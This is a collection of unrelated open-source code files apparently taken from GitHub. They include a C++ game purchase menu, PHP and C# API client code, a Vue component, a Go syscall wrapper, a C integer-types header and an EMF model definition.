if (!pPassenger)
pPassenger = dynamic_cast<const Actor *>(*cItr);
}
// Add the ship's cost, if there is one defined
if ((*lItr).GetDeliveryCraft())
{
loadoutLabel += " on " + (*lItr).GetDeliveryCraft()->GetPresetName();
// Adjust price for foreignness of the ship to this player
loadoutCost += (*lItr).GetDeliveryCraft()->GetGoldValue(m_NativeTechModule, m_ForeignCostMult);
}
// Make the cost label
sprintf(costString, "%.0f", loadoutCost);
// Get a good icon and wrap it, while not passing ownership into the AllegroBitmap
// We're trying to pick the icon of the first passenger, or the first item if there's no passengers in the loadout
pItemBitmap = new AllegroBitmap(pPassenger ? const_cast<Actor *>(pPassenger)->GetGraphicalIcon() : const_cast<SceneObject *>((*lItr).GetCargoList()->front())->GetGraphicalIcon());
// Passing in ownership of the bitmap, but not of the pSpriteObj
m_pShopList->AddItem(loadoutLabel, costString, pItemBitmap, 0);
}
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: UpdateTotalCostLabel
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Updated the text of the total cost label to reflect the total cost of
// all the items in the order box.
void BuyMenuGUI::UpdateTotalCostLabel(int whichTeam)
{
char newText[512];
sprintf(newText, "Cost: %.0f/%.0f", GetTotalOrderCost(), g_ActivityMan.GetActivity()->GetTeamFunds(whichTeam));
m_pCostLabel->SetText(newText);
}
//////////////////////////////////////////////////////////////////////////////////////////
// Virtual Method: TryPurchase
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Attempts to make a purchase with everything set up.
void BuyMenuGUI::TryPurchase()
{
// Switch to the Craft category to give the user a hint
if (!m_pSelectedCraft)
{
m_MenuCategory = CRAFT;
CategoryChange();
m_FocusChange = -2;
m_MenuFocus = ITEMS;
m_UserErrorSound.Play(0, m_pController->GetPlayer());
// Set the notification blinker
m_BlinkMode = NOCRAFT;
m_BlinkTimer.Reset();
return;
}
// Can't afford it :(
else if (GetTotalOrderCost() > g_ActivityMan.GetActivity()->GetTeamFunds(m_pController->GetTeam()))
{
m_UserErrorSound.Play(0, m_pController->GetPlayer());
// Set the notification blinker
m_BlinkMode = NOFUNDS;
m_BlinkTimer.Reset();
return;
}
else
{
const ACraft * pCraft = dynamic_cast<const ACraft *>(m_pSelectedCraft);
if (pCraft)
{
// Enforce max mass
if (pCraft->GetMaxMass() > 0 && GetTotalOrderMass() > pCraft->GetMaxMass() && m_EnforceMaxMassConstraint)
{
m_UserErrorSound.Play(0, m_pController->GetPlayer());
// Set the notification blinker
m_BlinkMode = MAXMASS;
m_BlinkTimer.Reset();
return;
}
// Enforce max passengers
if (pCraft->GetMaxPassengers() >= 0 && GetTotalOrderPassengers() > pCraft->GetMaxPassengers() && m_EnforceMaxPassengersConstraint)
{
m_UserErrorSound.Play(0, m_pController->GetPlayer());
// Set the notification blinker
m_BlinkMode = MAXPASSENGERS;
m_BlinkTimer.Reset();
return;
}
}
}
// Only allow purchase if there is a delivery craft and enough funds
if (m_pSelectedCraft && floorf(GetTotalOrderCost()) <= floorf(g_ActivityMan.GetActivity()->GetTeamFunds(m_pController->GetTeam())))
{
// m_pBuyButton->OnKeyPress(0, 0);
m_PurchaseMade = true;
m_PurchaseMadeSound.Play(0, m_pController->GetPlayer());
}
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: UpdateTotalMassLabel
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Updates the text of the specified label to reflect the total mass of
// all the items in teh order box.
void BuyMenuGUI::UpdateTotalMassLabel(const ACraft * pCraft, GUILabel * pLabel)
{
if (!pLabel)
return;
char buf[64];
if (pCraft && pCraft->GetMaxMass() != 0)
{
if (pCraft->GetMaxMass() > 0)
sprintf(buf, "%d / %d", (int)GetTotalOrderMass() - (int)GetCraftMass(), (int)pCraft->GetMaxMass() - (int)GetCraftMass());
else
strcpy(buf, "NO CARGO SPACE");
}
else
sprintf(buf, "%d", (int)GetTotalOrderMass());
pLabel->SetText(buf);
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: UpdateTotalPassengersLabel
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Updates the text of the specified label to reflect the total passenger count of
// all the items in teh order box.
void BuyMenuGUI::UpdateTotalPassengersLabel(const ACraft * pCraft, GUILabel * pLabel)
{
if (!pLabel)
return;
char buf[64];
if (pCraft && pCraft->GetMaxPassengers() != 0)
{
if (pCraft->GetMaxPassengers() > 0)
sprintf(buf, "%d / %d", GetTotalOrderPassengers(), pCraft->GetMaxPassengers());
else
sprintf(buf, "%d", GetTotalOrderPassengers());
}
else
strcpy(buf, "NO ROOM");
pLabel->SetText(buf);
}
|
{
"pile_set_name": "Github"
}
|
<?php
namespace spec\Prophecy\Doubler;
use PhpSpec\ObjectBehavior;
class NameGeneratorSpec extends ObjectBehavior
{
/**
* @param \ReflectionClass $class
*/
function its_name_generates_name_based_on_simple_class_reflection($class)
{
$class->getName()->willReturn('stdClass');
$this->name($class, array())->shouldStartWith('Double\stdClass\\');
}
/**
* @param \ReflectionClass $class
*/
function its_name_generates_name_based_on_namespaced_class_reflection($class)
{
$class->getName()->willReturn('Some\Custom\Class');
$this->name($class, array())->shouldStartWith('Double\Some\Custom\Class\P');
}
/**
* @param \ReflectionClass $interface1
* @param \ReflectionClass $interface2
*/
function its_name_generates_name_based_on_interface_shortnames($interface1, $interface2)
{
$interface1->getShortName()->willReturn('HandlerInterface');
$interface2->getShortName()->willReturn('LoaderInterface');
$this->name(null, array($interface1, $interface2))->shouldStartWith(
'Double\HandlerInterface\LoaderInterface\P'
);
}
function it_generates_proper_name_for_no_class_and_interfaces_list()
{
$this->name(null, array())->shouldStartWith('Double\stdClass\P');
}
/**
* @param \ReflectionClass $class
* @param \ReflectionClass $interface1
* @param \ReflectionClass $interface2
*/
function its_name_generates_name_based_only_on_class_if_its_available(
$class, $interface1, $interface2
)
{
$class->getName()->willReturn('Some\Custom\Class');
$interface1->getShortName()->willReturn('HandlerInterface');
$interface2->getShortName()->willReturn('LoaderInterface');
$this->name($class, array($interface1, $interface2))->shouldStartWith(
'Double\Some\Custom\Class\P'
);
}
public function getMatchers()
{
return array(
'startWith' => function ($subject, $string) {
return 0 === strpos($subject, $string);
},
);
}
}
|
{
"pile_set_name": "Github"
}
|
'use strict';
var Promise = require('./core.js');
module.exports = Promise;
Promise.prototype.done = function (onFulfilled, onRejected) {
var self = arguments.length ? this.then.apply(this, arguments) : this;
self.then(null, function (err) {
setTimeout(function () {
throw err;
}, 0);
});
};
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<ecore:EPackage xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:ecore="http://www.eclipse.org/emf/2002/Ecore" name="sgen" nsURI="http://www.yakindu.org/sct/statechart/SGen" nsPrefix="sgen">
<eClassifiers xsi:type="ecore:EClass" name="GeneratorModel">
<eStructuralFeatures xsi:type="ecore:EReference" name="entries" upperBound="-1"
eType="#//GeneratorEntry" containment="true"/>
<eStructuralFeatures xsi:type="ecore:EAttribute" name="generatorId" eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EString"/>
<eStructuralFeatures xsi:type="ecore:EReference" name="properties" upperBound="-1"
eType="ecore:EClass ../../../org.yakindu.base.types/model/types.ecore#//Property"
containment="true"/>
</eClassifiers>
<eClassifiers xsi:type="ecore:EClass" name="GeneratorConfiguration">
<eStructuralFeatures xsi:type="ecore:EReference" name="configurations" upperBound="-1"
eType="#//FeatureConfiguration" containment="true"/>
</eClassifiers>
<eClassifiers xsi:type="ecore:EClass" name="FeatureType" eSuperTypes="../../../org.yakindu.base.types/model/base.ecore#//NamedElement #//DeprecatableElement">
<eStructuralFeatures xsi:type="ecore:EReference" name="parameters" upperBound="-1"
eType="#//FeatureParameter" containment="true" eOpposite="#//FeatureParameter/featureType"/>
<eStructuralFeatures xsi:type="ecore:EReference" name="library" lowerBound="1"
eType="#//FeatureTypeLibrary" changeable="false" volatile="true" transient="true"
derived="true"/>
<eStructuralFeatures xsi:type="ecore:EAttribute" name="optional" eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EBoolean"
defaultValueLiteral="false"/>
</eClassifiers>
<eClassifiers xsi:type="ecore:EClass" name="FeatureParameter" eSuperTypes="../../../org.yakindu.base.types/model/base.ecore#//NamedElement #//DeprecatableElement">
<eStructuralFeatures xsi:type="ecore:EReference" name="featureType" eType="#//FeatureType"
eOpposite="#//FeatureType/parameters"/>
<eStructuralFeatures xsi:type="ecore:EAttribute" name="optional" eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EBoolean"
defaultValueLiteral="false"/>
<eStructuralFeatures xsi:type="ecore:EAttribute" name="parameterType" eType="#//ParameterTypes"/>
</eClassifiers>
<eClassifiers xsi:type="ecore:EClass" name="FeatureConfiguration">
<eOperations name="getParameterValue" eType="#//FeatureParameterValue">
<eParameters name="parameterName" eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EString"/>
</eOperations>
<eStructuralFeatures xsi:type="ecore:EReference" name="type" eType="#//FeatureType"/>
<eStructuralFeatures xsi:type="ecore:EReference" name="parameterValues" upperBound="-1"
eType="#//FeatureParameterValue" containment="true" eOpposite="#//FeatureParameterValue/featureConfiguration"/>
</eClassifiers>
<eClassifiers xsi:type="ecore:EClass" name="GeneratorEntry">
<eOperations name="getFeatureConfiguration" eType="#//FeatureConfiguration">
<eParameters name="featureName" eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EString"/>
</eOperations>
<eOperations name="getFeatureParameterValue" eType="#//FeatureParameterValue">
<eParameters name="featureName" eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EString"/>
<eParameters name="paramName" eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EString"/>
</eOperations>
<eStructuralFeatures xsi:type="ecore:EReference" name="elementRef" eType="ecore:EClass http://www.eclipse.org/emf/2002/Ecore#//EObject"/>
<eStructuralFeatures xsi:type="ecore:EReference" name="features" upperBound="-1"
eType="#//FeatureConfiguration" containment="true"/>
<eStructuralFeatures xsi:type="ecore:EAttribute" name="contentType" eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EString"/>
</eClassifiers>
<eClassifiers xsi:type="ecore:EClass" name="FeatureParameterValue">
<eOperations name="setValue">
<eParameters name="string" eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EString"/>
</eOperations>
<eOperations name="setValue">
<eParameters name="boolean" eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EBoolean"/>
</eOperations>
<eOperations name="getStringValue" eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EString"/>
<eOperations name="getBooleanValue" eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EBoolean"/>
<eOperations name="setValue">
<eParameters name="value" eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EInt"/>
</eOperations>
<eOperations name="getIntegerValue" eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EInt"/>
<eStructuralFeatures xsi:type="ecore:EReference" name="parameter" eType="#//FeatureParameter"/>
<eStructuralFeatures xsi:type="ecore:EReference" name="featureConfiguration" eType="#//FeatureConfiguration"
changeable="false" eOpposite="#//FeatureConfiguration/parameterValues"/>
<eStructuralFeatures xsi:type="ecore:EReference" name="expression" eType="ecore:EClass ../../../org.yakindu.base.types/model/types.ecore#//Expression"
containment="true"/>
</eClassifiers>
<eClassifiers xsi:type="ecore:EClass" name="FeatureTypeLibrary">
<eStructuralFeatures xsi:type="ecore:EReference" name="types" upperBound="-1"
eType="#//FeatureType" containment="true"/>
<eStructuralFeatures xsi:type="ecore:EAttribute" name="name" eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EString"/>
</eClassifiers>
<eClassifiers xsi:type="ecore:EEnum" name="ParameterTypes">
<eLiterals name="STRING" value="1"/>
<eLiterals name="FLOAT" value="2" literal="FLOAT"/>
<eLiterals name="BOOLEAN"/>
<eLiterals name="INTEGER" value="3"/>
</eClassifiers>
<eClassifiers xsi:type="ecore:EClass" name="DeprecatableElement">
<eStructuralFeatures xsi:type="ecore:EAttribute" name="deprecated" lowerBound="1"
eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EBoolean" defaultValueLiteral="false"/>
<eStructuralFeatures xsi:type="ecore:EAttribute" name="comment" eType="ecore:EDataType http://www.eclipse.org/emf/2002/Ecore#//EString"/>
</eClassifiers>
</ecore:EPackage>
|
{
"pile_set_name": "Github"
}
|
<template>
<div class="goods_brand_list">
<van-list v-model="loading"
:finished="finished"
:immediate-check="false"
finished-text="没有更多了"
@load="getBrandList">
<div class="brand-info"
v-for="(brand, index) in list"
:key="index"
@click="itemClick(brand.id)">
<div class="name">
<img class="img"
:src="brand.picUrl"
background-size="cover" />
<div class="info-box">
<div class="txt">{{brand.name}}</div>
<div class="line"></div>
<div class="price">{{brand.floorPrice}}元起</div>
</div>
</div>
<div class="desc">
{{brand.desc}}
</div>
</div>
</van-list>
</div>
</template>
<script>
import { brandList } from '@/api/api';
import { List } from 'vant';
export default {
data() {
return {
list: [],
page: 0,
limit: 10,
loading: false,
finished: false
};
},
created() {
this.init();
},
methods: {
init() {
this.page = 0;
this.list = [];
this.getBrandList();
},
getBrandList() {
this.page++;
brandList({
page: this.page,
limit: this.limit
}).then(res => {
this.list.push(...res.data.data.list);
this.loading = false;
this.finished = res.data.data.page >= res.data.data.pages;
});
},
itemClick(id) {
this.$router.push(`/items/brand/${id}`);
}
},
components: {
[List.name]: List
}
};
</script>
<style lang="scss" scoped>
.goods_brand_list {
.brand-info {
.name {
width: 100%;
height: 180px;
position: relative;
.img {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 180px;
}
.info-box {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 180px;
text-align: center;
display: flex;
justify-content: center;
align-items: center;
display: block;
.txt {
margin-top: 60px;
height: 25px;
font-size: 25px;
color: #fff;
}
.line {
margin: 0 auto;
margin-top: 16px;
display: block;
height: 2px;
width: 300px;
background: #fff;
}
.price{
height: 25px;
font-size: 25px;
color: #fff;
}
}
}
.desc {
background: #fff;
width: 100%;
height: auto;
overflow: hidden;
padding: 25px 20px;
font-size: 20px;
color: #666;
line-height: 20px;
text-align: center;
}
}
}
</style>
|
{
"pile_set_name": "Github"
}
|
{
"config": {
"step": {
"user": {
"data": {
"zip_code": "Kode Pos"
}
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
using System.Collections.Generic;
namespace Nashet.EconomicSimulation
{
/// <summary>
/// Represents ability to own provinces
/// </summary>
public interface IProvinceOwner
{
IEnumerable<Province> AllProvinces{ get; }
}
}
|
{
"pile_set_name": "Github"
}
|
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build linux,gccgo,386
package unix
import (
"syscall"
"unsafe"
)
func seek(fd int, offset int64, whence int) (int64, syscall.Errno) {
var newoffset int64
offsetLow := uint32(offset & 0xffffffff)
offsetHigh := uint32((offset >> 32) & 0xffffffff)
_, _, err := Syscall6(SYS__LLSEEK, uintptr(fd), uintptr(offsetHigh), uintptr(offsetLow), uintptr(unsafe.Pointer(&newoffset)), uintptr(whence), 0)
return newoffset, err
}
func socketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (int, syscall.Errno) {
fd, _, err := Syscall(SYS_SOCKETCALL, uintptr(call), uintptr(unsafe.Pointer(&a0)), 0)
return int(fd), err
}
func rawsocketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (int, syscall.Errno) {
fd, _, err := RawSyscall(SYS_SOCKETCALL, uintptr(call), uintptr(unsafe.Pointer(&a0)), 0)
return int(fd), err
}
|
{
"pile_set_name": "Github"
}
|
/*
---------------------------------------------------------------------------
Copyright (c) 1998-2006, Brian Gladman, Worcester, UK. All rights reserved.
LICENSE TERMS
The free distribution and use of this software in both source and binary
form is allowed (with or without changes) provided that:
1. distributions of this source code include the above copyright
notice, this list of conditions and the following disclaimer;
2. distributions in binary form include the above copyright
notice, this list of conditions and the following disclaimer
in the documentation and/or other associated materials;
3. the copyright holder's name is not used to endorse products
built using this software without specific written permission.
ALTERNATIVELY, provided that this notice is retained in full, this product
may be distributed under the terms of the GNU General Public License (GPL),
in which case the provisions of the GPL apply INSTEAD OF those given above.
DISCLAIMER
This software is provided 'as is' with no explicit or implied warranties
in respect of its properties, including, but not limited to, correctness
and/or fitness for purpose.
---------------------------------------------------------------------------
Issue 09/09/2006
The unsigned integer types defined here are of the form uint_<nn>t where
<nn> is the length of the type; for example, the unsigned 32-bit type is
'uint_32t'. These are NOT the same as the 'C99 integer types' that are
defined in the inttypes.h and stdint.h headers since attempts to use these
types have shown that support for them is still highly variable. However,
since the latter are of the form uint<nn>_t, a regular expression search
and replace (in VC++ search on 'uint_{:z}t' and replace with 'uint\1_t')
can be used to convert the types used here to the C99 standard types.
*/
#ifndef BRG_TYPES_H
#define BRG_TYPES_H
#if defined(__cplusplus)
extern "C" {
#endif
#include <limits.h>
/* Try one of these if things don't work automatically */
#ifdef BRG_C99_TYPES
#include <inttypes.h>
#include <stdint.h>
# define BRG_UI8
typedef uint8_t uint_8t;
# define BRG_UI16
typedef uint16_t uint_16t;
# define BRG_UI32
# define li_32(h) 0x##h##u
typedef uint32_t uint_32t;
# define BRG_UI64
# define li_64(h) 0x##h##u
typedef uint64_t uint_64t;
#elif defined( BRG_STD_TYPES )
#include <sys/types.h>
# define BRG_UI8
typedef u_int8_t uint_8t;
# define BRG_UI16
typedef u_int16_t uint_16t;
# define BRG_UI32
# define li_32(h) 0x##h##u
typedef u_int32_t uint_32t;
# define BRG_UI64
# define li_64(h) 0x##h##u
typedef u_int64_t uint_64t;
#endif
#ifndef BRG_UI8
# define BRG_UI8
# if UCHAR_MAX == 255u
typedef unsigned char uint_8t;
# else
# error Please define uint_8t as an 8-bit unsigned integer type in brg_types.h
# endif
#endif
#ifndef BRG_UI16
# define BRG_UI16
# if USHRT_MAX == 65535u
typedef unsigned short uint_16t;
# else
# error Please define uint_16t as a 16-bit unsigned short type in brg_types.h
# endif
#endif
#ifndef BRG_UI32
# define BRG_UI32
# if UINT_MAX == 4294967295u
# define li_32(h) 0x##h##u
typedef unsigned int uint_32t;
# elif ULONG_MAX == 4294967295u
# define li_32(h) 0x##h##ul
typedef unsigned long uint_32t;
# elif defined( _CRAY )
# error This code needs 32-bit data types, which Cray machines do not provide
# else
# error Please define uint_32t as a 32-bit unsigned integer type in brg_types.h
# endif
#endif
#ifndef BRG_UI64
# if defined( __BORLANDC__ ) && !defined( __MSDOS__ )
# define BRG_UI64
# define li_64(h) 0x##h##ull
typedef unsigned __int64 uint_64t;
# elif defined( _MSC_VER ) && ( _MSC_VER < 1300 ) /* 1300 == VC++ 7.0 */
# define BRG_UI64
# define li_64(h) 0x##h##ui64
typedef unsigned __int64 uint_64t;
# elif defined( __sun ) && defined(ULONG_MAX) && ULONG_MAX == 0xfffffffful
# define BRG_UI64
# define li_64(h) 0x##h##ull
typedef unsigned long long uint_64t;
# elif defined( UINT_MAX ) && UINT_MAX > 4294967295u
# if UINT_MAX == 18446744073709551615u
# define BRG_UI64
# define li_64(h) 0x##h##u
typedef unsigned int uint_64t;
# endif
# elif defined( ULONG_MAX ) && ULONG_MAX > 4294967295u
# if ULONG_MAX == 18446744073709551615ul
# define BRG_UI64
# define li_64(h) 0x##h##ul
typedef unsigned long uint_64t;
# endif
# elif defined( ULLONG_MAX ) && ULLONG_MAX > 4294967295u
# if ULLONG_MAX == 18446744073709551615ull
# define BRG_UI64
# define li_64(h) 0x##h##ull
typedef unsigned long long uint_64t;
# endif
# elif defined( ULONG_LONG_MAX ) && ULONG_LONG_MAX > 4294967295u
# if ULONG_LONG_MAX == 18446744073709551615ull
# define BRG_UI64
# define li_64(h) 0x##h##ull
typedef unsigned long long uint_64t;
# endif
# endif
#endif
#if defined( NEED_UINT_64T ) && !defined( BRG_UI64 )
# error Please define uint_64t as an unsigned 64 bit type in brg_types.h
#endif
#ifndef RETURN_VALUES
# define RETURN_VALUES
# if defined( DLL_EXPORT )
# if defined( _MSC_VER ) || defined ( __INTEL_COMPILER )
# define VOID_RETURN __declspec( dllexport ) void __stdcall
# define INT_RETURN __declspec( dllexport ) int __stdcall
# elif defined( __GNUC__ )
# define VOID_RETURN __declspec( __dllexport__ ) void
# define INT_RETURN __declspec( __dllexport__ ) int
# else
# error Use of the DLL is only available on the Microsoft, Intel and GCC compilers
# endif
# elif defined( DLL_IMPORT )
# if defined( _MSC_VER ) || defined ( __INTEL_COMPILER )
# define VOID_RETURN __declspec( dllimport ) void __stdcall
# define INT_RETURN __declspec( dllimport ) int __stdcall
# elif defined( __GNUC__ )
# define VOID_RETURN __declspec( __dllimport__ ) void
# define INT_RETURN __declspec( __dllimport__ ) int
# else
# error Use of the DLL is only available on the Microsoft, Intel and GCC compilers
# endif
# elif defined( __WATCOMC__ )
# define VOID_RETURN void __cdecl
# define INT_RETURN int __cdecl
# else
# define VOID_RETURN void
# define INT_RETURN int
# endif
#endif
/* These defines are used to declare buffers in a way that allows
faster operations on longer variables to be used. In all these
defines 'size' must be a power of 2 and >= 8
dec_unit_type(size,x) declares a variable 'x' of length
'size' bits
dec_bufr_type(size,bsize,x) declares a buffer 'x' of length 'bsize'
bytes defined as an array of variables
each of 'size' bits (bsize must be a
multiple of size / 8)
ptr_cast(x,size) casts a pointer to a pointer to a
varaiable of length 'size' bits
*/
#define ui_type(size) uint_##size##t
#define dec_unit_type(size,x) typedef ui_type(size) x
#define dec_bufr_type(size,bsize,x) typedef ui_type(size) x[bsize / (size >> 3)]
#define ptr_cast(x,size) ((ui_type(size)*)(x))
#if defined(__cplusplus)
}
#endif
#endif
|
{
"pile_set_name": "Github"
}
|
// <auto-generated>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License. See License.txt in the project root for
// license information.
//
// Code generated by Microsoft (R) AutoRest Code Generator.
// Changes may cause incorrect behavior and will be lost if the code is
// regenerated.
// </auto-generated>
namespace Microsoft.Azure.Management.DataBoxEdge
{
using Microsoft.Rest;
using Microsoft.Rest.Azure;
using Models;
using System.Collections;
using System.Collections.Generic;
using System.Threading;
using System.Threading.Tasks;
/// <summary>
/// OrdersOperations operations.
/// </summary>
public partial interface IOrdersOperations
{
/// <summary>
/// Lists all the orders related to a Data Box Edge/Data Box Gateway
/// device.
/// </summary>
/// <param name='deviceName'>
/// The device name.
/// </param>
/// <param name='resourceGroupName'>
/// The resource group name.
/// </param>
/// <param name='customHeaders'>
/// The headers that will be added to request.
/// </param>
/// <param name='cancellationToken'>
/// The cancellation token.
/// </param>
/// <exception cref="Microsoft.Rest.Azure.CloudException">
/// Thrown when the operation returned an invalid status code
/// </exception>
/// <exception cref="Microsoft.Rest.SerializationException">
/// Thrown when unable to deserialize the response
/// </exception>
/// <exception cref="Microsoft.Rest.ValidationException">
/// Thrown when a required parameter is null
/// </exception>
Task<AzureOperationResponse<IPage<Order>>> ListByDataBoxEdgeDeviceWithHttpMessagesAsync(string deviceName, string resourceGroupName, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken));
/// <summary>
/// Gets a specific order by name.
/// </summary>
/// <param name='deviceName'>
/// The device name.
/// </param>
/// <param name='resourceGroupName'>
/// The resource group name.
/// </param>
/// <param name='customHeaders'>
/// The headers that will be added to request.
/// </param>
/// <param name='cancellationToken'>
/// The cancellation token.
/// </param>
/// <exception cref="Microsoft.Rest.Azure.CloudException">
/// Thrown when the operation returned an invalid status code
/// </exception>
/// <exception cref="Microsoft.Rest.SerializationException">
/// Thrown when unable to deserialize the response
/// </exception>
/// <exception cref="Microsoft.Rest.ValidationException">
/// Thrown when a required parameter is null
/// </exception>
Task<AzureOperationResponse<Order>> GetWithHttpMessagesAsync(string deviceName, string resourceGroupName, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken));
/// <summary>
/// Creates or updates an order.
/// </summary>
/// <param name='deviceName'>
/// The order details of a device.
/// </param>
/// <param name='order'>
/// The order to be created or updated.
/// </param>
/// <param name='resourceGroupName'>
/// The resource group name.
/// </param>
/// <param name='customHeaders'>
/// The headers that will be added to request.
/// </param>
/// <param name='cancellationToken'>
/// The cancellation token.
/// </param>
/// <exception cref="Microsoft.Rest.Azure.CloudException">
/// Thrown when the operation returned an invalid status code
/// </exception>
/// <exception cref="Microsoft.Rest.SerializationException">
/// Thrown when unable to deserialize the response
/// </exception>
/// <exception cref="Microsoft.Rest.ValidationException">
/// Thrown when a required parameter is null
/// </exception>
Task<AzureOperationResponse<Order>> CreateOrUpdateWithHttpMessagesAsync(string deviceName, Order order, string resourceGroupName, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken));
/// <summary>
/// Deletes the order related to the device.
/// </summary>
/// <param name='deviceName'>
/// The device name.
/// </param>
/// <param name='resourceGroupName'>
/// The resource group name.
/// </param>
/// <param name='customHeaders'>
/// The headers that will be added to request.
/// </param>
/// <param name='cancellationToken'>
/// The cancellation token.
/// </param>
/// <exception cref="Microsoft.Rest.Azure.CloudException">
/// Thrown when the operation returned an invalid status code
/// </exception>
/// <exception cref="Microsoft.Rest.ValidationException">
/// Thrown when a required parameter is null
/// </exception>
Task<AzureOperationResponse> DeleteWithHttpMessagesAsync(string deviceName, string resourceGroupName, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken));
/// <summary>
/// Creates or updates an order.
/// </summary>
/// <param name='deviceName'>
/// The order details of a device.
/// </param>
/// <param name='order'>
/// The order to be created or updated.
/// </param>
/// <param name='resourceGroupName'>
/// The resource group name.
/// </param>
/// <param name='customHeaders'>
/// The headers that will be added to request.
/// </param>
/// <param name='cancellationToken'>
/// The cancellation token.
/// </param>
/// <exception cref="Microsoft.Rest.Azure.CloudException">
/// Thrown when the operation returned an invalid status code
/// </exception>
/// <exception cref="Microsoft.Rest.SerializationException">
/// Thrown when unable to deserialize the response
/// </exception>
/// <exception cref="Microsoft.Rest.ValidationException">
/// Thrown when a required parameter is null
/// </exception>
Task<AzureOperationResponse<Order>> BeginCreateOrUpdateWithHttpMessagesAsync(string deviceName, Order order, string resourceGroupName, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken));
/// <summary>
/// Deletes the order related to the device.
/// </summary>
/// <param name='deviceName'>
/// The device name.
/// </param>
/// <param name='resourceGroupName'>
/// The resource group name.
/// </param>
/// <param name='customHeaders'>
/// The headers that will be added to request.
/// </param>
/// <param name='cancellationToken'>
/// The cancellation token.
/// </param>
/// <exception cref="Microsoft.Rest.Azure.CloudException">
/// Thrown when the operation returned an invalid status code
/// </exception>
/// <exception cref="Microsoft.Rest.ValidationException">
/// Thrown when a required parameter is null
/// </exception>
Task<AzureOperationResponse> BeginDeleteWithHttpMessagesAsync(string deviceName, string resourceGroupName, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken));
/// <summary>
/// Lists all the orders related to a Data Box Edge/Data Box Gateway
/// device.
/// </summary>
/// <param name='nextPageLink'>
/// The NextLink from the previous successful call to List operation.
/// </param>
/// <param name='customHeaders'>
/// The headers that will be added to request.
/// </param>
/// <param name='cancellationToken'>
/// The cancellation token.
/// </param>
/// <exception cref="Microsoft.Rest.Azure.CloudException">
/// Thrown when the operation returned an invalid status code
/// </exception>
/// <exception cref="Microsoft.Rest.SerializationException">
/// Thrown when unable to deserialize the response
/// </exception>
/// <exception cref="Microsoft.Rest.ValidationException">
/// Thrown when a required parameter is null
/// </exception>
Task<AzureOperationResponse<IPage<Order>>> ListByDataBoxEdgeDeviceNextWithHttpMessagesAsync(string nextPageLink, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken));
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
/**
* Service definition for QPXExpress (v1).
*
* <p>
* Lets you find the least expensive flights between an origin and a destination.
* </p>
*
* <p>
* For more information about this service, see the API
* <a href="http://developers.google.com/qpx-express" target="_blank">Documentation</a>
* </p>
*
* @author Google, Inc.
*/
class Google_Service_QPXExpress extends Google_Service
{
public $trips;
/**
* Constructs the internal representation of the QPXExpress service.
*
* @param Google_Client $client
*/
public function __construct(Google_Client $client)
{
parent::__construct($client);
$this->servicePath = 'qpxExpress/v1/trips/';
$this->version = 'v1';
$this->serviceName = 'qpxExpress';
$this->trips = new Google_Service_QPXExpress_Trips_Resource(
$this,
$this->serviceName,
'trips',
array(
'methods' => array(
'search' => array(
'path' => 'search',
'httpMethod' => 'POST',
'parameters' => array(),
),
)
)
);
}
}
/**
* The "trips" collection of methods.
* Typical usage is:
* <code>
* $qpxExpressService = new Google_Service_QPXExpress(...);
* $trips = $qpxExpressService->trips;
* </code>
*/
class Google_Service_QPXExpress_Trips_Resource extends Google_Service_Resource
{
/**
* Returns a list of flights. (trips.search)
*
* @param Google_TripsSearchRequest $postBody
* @param array $optParams Optional parameters.
* @return Google_Service_QPXExpress_TripsSearchResponse
*/
public function search(Google_Service_QPXExpress_TripsSearchRequest $postBody, $optParams = array())
{
$params = array('postBody' => $postBody);
$params = array_merge($params, $optParams);
